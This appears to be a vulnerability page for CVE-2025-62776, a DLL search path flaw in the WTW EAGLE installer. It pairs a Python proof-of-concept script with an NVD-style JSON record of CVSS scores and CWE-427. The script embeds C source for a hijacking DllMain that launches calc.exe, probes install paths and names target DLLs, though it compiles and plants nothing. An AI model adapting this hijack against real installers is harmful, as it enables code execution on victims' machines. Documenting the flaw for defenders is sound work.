CVE-2025-62776

#!/usr/bin/env python3 # CVE-2025-62776 PoC - WTW EAGLE DLL Search Path Hijacking # This PoC demonstrates how to exploit the DLL search path vulnerability import os import ctypes import shutil from pathlib import Path # Malicious DLL payload - executes calc.exe as demonstration MALICIOUS_DLL_CODE = ''' #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Execute arbitrary code with elevated privileges WinExec("calc.exe", SW_SHOWNORMAL); // In real attack: download and execute malware, create backdoor, etc. } return TRUE; } ''' def create_malicious_dll(dll_path, target_dll_name): """Create a malicious DLL that will be loaded instead of the legitimate one""" # In production, compile actual DLL with malicious code # This is a placeholder showing the concept print(f"[*] Malicious DLL would be placed at: {dll_path}") print(f"[*] Target DLL name: {target_dll_name}") print("[*] When WTW EAGLE installer runs, it will load this DLL") return True def check_vulnerability(): """Check if the target system is vulnerable""" print("[*] Checking for WTW EAGLE installation...") # Check common installation paths paths_to_check = [ r"C:\Program Files\WTW\EAGLE", r"C:\Program Files (x86)\WTW\EAGLE", os.path.expanduser(r"~\AppData\Local\WTW\EAGLE") ] for path in paths_to_check: if os.path.exists(path): print(f"[+] Found WTW EAGLE at: {path}") return path print("[-] WTW EAGLE not found on this system") return None def main(): print("=" * 60) print("CVE-2025-62776 - WTW EAGLE DLL Search Path Hijacking PoC") print("=" * 60) # Common DLL names targeted in such attacks target_dlls = [ "version.dll", "winhttp.dll", " cabinet.dll", "setupapi.dll" ] install_path = check_vulnerability() if install_path: for dll in target_dlls: dll_path = os.path.join(install_path, dll) create_malicious_dll(dll_path, dll) print("\n[!] Note: This is for educational purposes only") print("[!] Actual exploitation requires compiling malicious DLL") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-62776", "sourceIdentifier": "[email protected]", "published": "2025-10-29T05:15:37.247", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The installer of WTW EAGLE (for Windows) 3.0.8.0 contains an issue with the DLL search path, which may lead to insecurely loading Dynamic Link Libraries. As a result, arbitrary code may be executed with the privileges of the running application."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-427"}]}], "references": [{"url": "https://jvn.jp/en/jp/JVN23394606/", "source": "[email protected]"}, {"url": "https://wtw.support/wtw/eagle-app-cms-win/", "source": "[email protected]"}]}}